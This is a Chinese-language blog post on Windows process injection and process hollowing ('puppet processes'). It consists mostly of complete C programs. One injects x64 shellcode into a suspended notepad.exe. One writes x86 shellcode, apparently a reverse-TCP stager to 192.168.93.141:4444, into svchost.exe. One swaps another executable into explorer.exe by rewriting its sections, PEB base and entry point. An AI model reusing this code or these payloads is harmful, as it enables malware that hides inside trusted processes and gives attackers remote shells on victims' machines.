傀儡进程
shellcode插入
x64
整体流程:
1.创建进程,获取进程句柄 CreateProcessA
2.在目标进程分配shellcode大小的内存空间 VirtualAllocEx
3.远程写入shellcode WriteProcessMemory
4.远程线程调用 CreateRemoteThread
5.等待返回 WaitForSingleObject
6.减少线程的挂起计数。当挂起计数减为零时,将继续执行线程。 ResumeThread
ps:其实这个不算最多算个线程劫持
#include "stdafx.h"
#include <Windows.h>
int main()
{
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
SIZE_T size = 0;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
ZeroMemory(&pi, sizeof(pi));
BOOL sucess = CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, true, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
HANDLE notepadHandle = pi.hProcess;
LPVOID remotebuffer = VirtualAllocEx(notepadHandle, NULL, sizeof(buf), (MEM_RESERVE | MEM_COMMIT),PAGE_EXECUTE_READWRITE);
WriteProcessMemory(notepadHandle,remotebuffer,buf,sizeof(buf),NULL);
HANDLE remoteThread = CreateRemoteThread(notepadHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remotebuffer, NULL, 0, NULL); //remotebuffer为线程起始地址
if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) {
return 1;
}
if (ResumeThread(pi.hThread) == -1) {
return 1;
}
return 0;
}
x86
寻找加载基地址,在加载基地址前运行shellcode:
1.挂起方式创建进程 CreateProcessA
2.获取线程里的PEB GetThreadContext
3.获取进程基地址保存在EAX ReadProcessMemory
4.在基地址之前写入shellcode WriteProcessMemory
5.恢复线程执行 ResumeThread
#include "stdafx.h"
#include <Windows.h>
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x5d\x8d"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
void test() {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA("C:\\Windows\\sysWoW64\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess Error Code:%d\n", GetLastError());
return;
}
printf("CreateProcess Sucess\n");
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("GetThreadContext Error Code:%d\n", GetLastError());
return;
}
printf("GetThreadContext Sucess\n");
DWORD dwImageBase = 0;
DWORD lpNumberOfBytesRead = 0;
if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 0x8), &dwImageBase, sizeof(DWORD), &lpNumberOfBytesRead)) {
printf("ReadProcessMemory Error Code:%d\n", GetLastError());
return;
}
printf("ReadProcessMemory Sucess\n");
DWORD NumberOfBytesWritten = 0;
if (!WriteProcessMemory(pi.hProcess, (LPVOID)ctx.Eax, buf, sizeof(buf), &NumberOfBytesWritten)) {
printf("WriteProcessMemory Error Code:%d\n");
}
printf("WriteProcessMemory Sucess\n");
if (ResumeThread(pi.hThread) == -1) { //恢复线程执行成功的话函数返回为0
printf("ResumeThread Error Code:%d\n",GetLastError());
}
printf("ResumeThread Sucess\n");
}
int main()
{
test();
system("pause");
return 0;
}
x86进程替换
1.创建进程CreateProcessA
2.获取进程PEB地址GetThreadContext
3.读取文件获取文件句柄 CreateFileA #替换掉目标文件的恶意文件
4.获取文件大小 GetFileSize
5.定义一个恶意文件的大小内存空间
6.读取文件内容 ReadFile
7.获取恶意文件内容的DOS头 (PIMAGE_DOS_HEADER)pBuf
8.获取恶意文件内容的NT头 (PIMAGE_NT_HEADERS)(pBuf + pDosHeader->e_lfanew)
9.更改创建进程的基地址允许执行权限((LPVOID)pNtHeaders->OptionalHeader.ImageBase)
10.往进程内存写入恶意文件WriteProcessMemory(pi.hProcess,lpAddr,(LPCVOID)pBuf,pNtHeaders->OptionalHeader.SizeOfHeaders,NULL); //指向要写的数据的指针。
11.替换字节
12.替换PEB中基地址
13.替换入口点
pDosHeader->e_lfanew DOS偏移头
pNtHeaders->OptionalHeader.ImageBase 基地址
pNtHeaders->OptionalHeader.SizeOfImage PE大小
pNtHeaders->FileHeader.NumberOfSections 节表大小
(LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress 节区的RVA地址
(LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData 在文件中的偏移
dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint 程序执行入口RVA
#include "stdafx.h"
#include <Windows.h>
void test() {
CHAR test[MAX_PATH] = "C:\\Windows\\SysWOW64\\explorer.exe";
CHAR test2[MAX_PATH] = "C:\\windows\\SysWOW64\\calc.exe";
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA(test, NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi)) {
printf("CreateProcess Error:%d\n",GetLastError());
return;
}
printf("CreateProcess Sucess\n");
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("GetThreadContext Error Code:%d\n", GetLastError());
return;
}
printf("GetThreadContext Sucess\n");
HANDLE hFile = CreateFileA(test2, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Open EXE File Filed");
printf("%d", GetLastError());
return;
}
DWORD dwSize = GetFileSize(hFile, NULL);
LPBYTE pAllocPE = NULL;
PBYTE pBuf = (PBYTE)malloc(dwSize);
DWORD dwBytesRead = 0;
ReadFile(hFile, (LPVOID)pBuf, dwSize, &dwBytesRead, NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pBuf + pDosHeader->e_lfanew);
//2.获取进程上下文
CONTEXT stThreadContext;
stThreadContext.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &stThreadContext) == 0)
{
printf("CreateProcess failed (%d).\n", GetLastError());
return;
}
void* lpAddr = VirtualAllocEx(pi.hProcess, (LPVOID)pNtHeaders->OptionalHeader.ImageBase,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);//用Imagebase为起始地址避免了重定位。
if (lpAddr == NULL)
{
printf("VirtualAlloc failed (%d).\n", GetLastError());
return;
}
BOOL bRet = WriteProcessMemory(pi.hProcess,
lpAddr,
(LPCVOID)pBuf,//指向要写的数据的指针。
pNtHeaders->OptionalHeader.SizeOfHeaders,
NULL);
if (!bRet)
{
return ;
}
// 替换节
LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)pBuf
+ pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIndex = 0;
for (; dwIndex < pNtHeaders->FileHeader.NumberOfSections; ++dwIndex)
{
pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
bRet = WriteProcessMemory(pi.hProcess,
(LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress),
(LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData,
NULL);
if (!bRet)
{
return;
}
lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER));
}
//6.恢复现场并运行傀儡进程
// 替换PEB中基地址
DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
bRet = WriteProcessMemory(pi.hProcess, (LPVOID)(stThreadContext.Ebx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
if (!bRet)
{
return;
}
// 替换入口点
stThreadContext.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
bRet = SetThreadContext(pi.hThread, &stThreadContext);
if (!bRet)
{
return;
}
ResumeThread(pi.hThread);
printf("PID: %d", pi.dwProcessId);
free(pBuf);
}
int main()
{
test();
system("pause");
return 0;
}
x64傀儡进程参考:https://bbs.pediy.com/thread-253362.htm
EXE替换参考:https://jev0n.com/2020/03/11/65.html
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:傀儡进程
本文作者:九世
发布时间:2021-04-06, 23:29:53
最后更新:2021-04-06, 23:36:34
原始链接:http://jiushill.github.io/posts/96bf6a75.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。